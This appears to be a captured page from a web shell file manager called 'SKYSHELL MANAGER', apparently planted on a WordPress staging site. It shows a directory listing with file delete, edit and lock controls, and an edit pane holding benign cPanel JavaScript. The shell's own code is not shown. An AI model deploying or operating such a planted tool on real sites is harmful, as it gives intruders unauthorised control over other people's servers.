📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.js
/* # Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. */ define( [ "angular", "cjt/core", "ngSanitize", "cjt/modules", "app/views/sslStatus", "uiBootstrap", "angular-chosen", "cjt/services/alertService", ], function(angular, CJT) { "use strict"; return function() { // First create the application angular.module("App", ["ngSanitize", "ui.bootstrap", "cjt2.cpanel", "angular-growl", "localytics.directives", "cpanel.tools.views.sslStatus", "cpanel.tools.service.nginxService", "cpanel.tools.service.wordPressService"]); // Then load the application dependencies var app = require( [ // Application Modules "cjt/bootstrap", "cjt/util/locale", "app/views/applicationListController", "app/views/statisticsController", "app/views/themesController", "app/views/nginxController", "app/views/accountsController", "app/services/wordPressService", ], function(BOOTSTRAP, LOCALE) { var app = angular.module("App"); app.value("PAGE", PAGE); // A custom controller to show the htmlpopover for user analytics app.controller("analyticsController", [ "$scope", function($scope) { $scope.htmlPopover = LOCALE.maketext("Analytics helps us understand how our customers use our products. Go to Account Preferences to update your enrollment. [output,url,_1,Learn More,target,external-link]", "https://go.cpanel.net/cpanelanalyticstable"); }, ]); app.controller("langController", [ "$scope", "PAGE", "nvDataService", function($scope, PAGE, nvDataService) { function getLocaleCookieValue() { const match = document.cookie.match(/(?:^|; )session_locale=([^;]*)/); return match ? decodeURIComponent(match[1]) : null; } const sessionLocaleCookie = getLocaleCookieValue(); const localeNeedsReset = sessionLocaleCookie && sessionLocaleCookie !== PAGE.accountLocale; const resetToAccountLocaleDismissedInCurrentSession = PAGE.reset_to_account_locale_dismissed_nvdata_details && PAGE.reset_to_account_locale_dismissed_nvdata_details === PAGE.securityToken; $scope.showLanguageBanner = localeNeedsReset && !resetToAccountLocaleDismissedInCurrentSession; $scope.bannerDescriptionText = LOCALE.maketext("When you logged in, you selected a different language. Would you like to use the language you selected in your account’s settings?"); $scope.bannerButtonText = LOCALE.maketext("Switch to [asis,_1]", PAGE.accountLocaleName); function cookieReset() { document.cookie = "session_locale=; path=/; expires=" + new Date(0).toUTCString(); } $scope.resetLanguage = function() { if ($scope.showLanguageBanner) { cookieReset(); location.href = location.pathname; } }; $scope.runClose = function() { $scope.showLanguageBanner = false; nvDataService.setObject( { reset_to_account_locale_dismissed: PAGE.securityToken, }) .catch(function(error) { console.error(error); }); }; }, ]); app.config(["$httpProvider", function($httpProvider) { $httpProvider.useApplyAsync(true); }]); app.run(["wordPressService", "alertService", "PAGE", "$rootScope", function(wordPressService, alertService, PAGE, $rootScope) { // This event comes from the welcome modal web component. document.addEventListener("wordPressInstallPoll", function() { $rootScope.$apply(function() { alertService.add({ type: "info", message: LOCALE.maketext("Your WordPress site is being created."), closeable: true, replace: true, }); pollForWordPressInstall(); }); }); function pollForWordPressInstall() { // Let the users know the install is continuing var pollingIntervalId; pollingIntervalId = setInterval(function() { wordPressService.startPolling().then(function(uapiResponse) { if (uapiResponse.data.install_status === "success") { clearInterval(pollingIntervalId); pollingIntervalId = null; alertService.add({ type: "success", message: LOCALE.maketext("Your website is ready. Start adding content and personalizing “[output,strong,_1]” using [output,url,_2,WP Toolkit,title,WP Toolkit interface].", PAGE.domain, PAGE.wpToolkitUrl), closeable: true, replace: true, autoClose: 10000, }); } }) .catch(function(errors) { clearInterval(pollingIntervalId); pollingIntervalId = null; alertService.add({ type: "danger", message: LOCALE.maketext("Something went wrong. Your website failed to create. Try creating your website manually using [output,url,_1,WP Toolkit,title,WP Toolkit interface].", PAGE.wpToolkitUrl), closeable: true, replace: true, }); }); }, 5000); } // Account UUID copy event handler. var copyUuidLinkEl = document.getElementById("linkCopyUuid"); var copyUuidIconEl = document.getElementById("iconCopyUuid"); if (copyUuidLinkEl && copyUuidIconEl) { copyUuidLinkEl.addEventListener("click", copyUuidHandler); copyUuidIconEl.addEventListener("click", copyUuidHandler); } function copyUuidHandler() { var uuidTxtEl = document.getElementById("txtAcctUuid"); var copyMsgEl = document.getElementById("copyMsgContainer"); const copyText = uuidTxtEl.textContent; navigator.clipboard .writeText(copyText) .then(() => { copyMsgEl.classList.add("show-copy-success"); window.setTimeout(function() { copyMsgEl.classList.remove("show-copy-success"); }, 3000); }, (err) => { console.error(err); }); } // ===== Mixpanel Tracking for Sidebar Links ===== // Event name format: 'CP_USR:TOOLS_PAGE-{SECTION_NAME}-{ACTION}-CLICKED' if (window.mixpanel) { // SSL/TLS related sidebar links mixpanel.track_links('#sslCertificateAction', 'CP_USR:TOOLS_PAGE-SSL_CERTIFICATE_SIDEBAR-CLICKED'); // Tracking for other sidebar links can go in as needed. } }]); BOOTSTRAP("#content", "App"); }); return app; }; } );
Save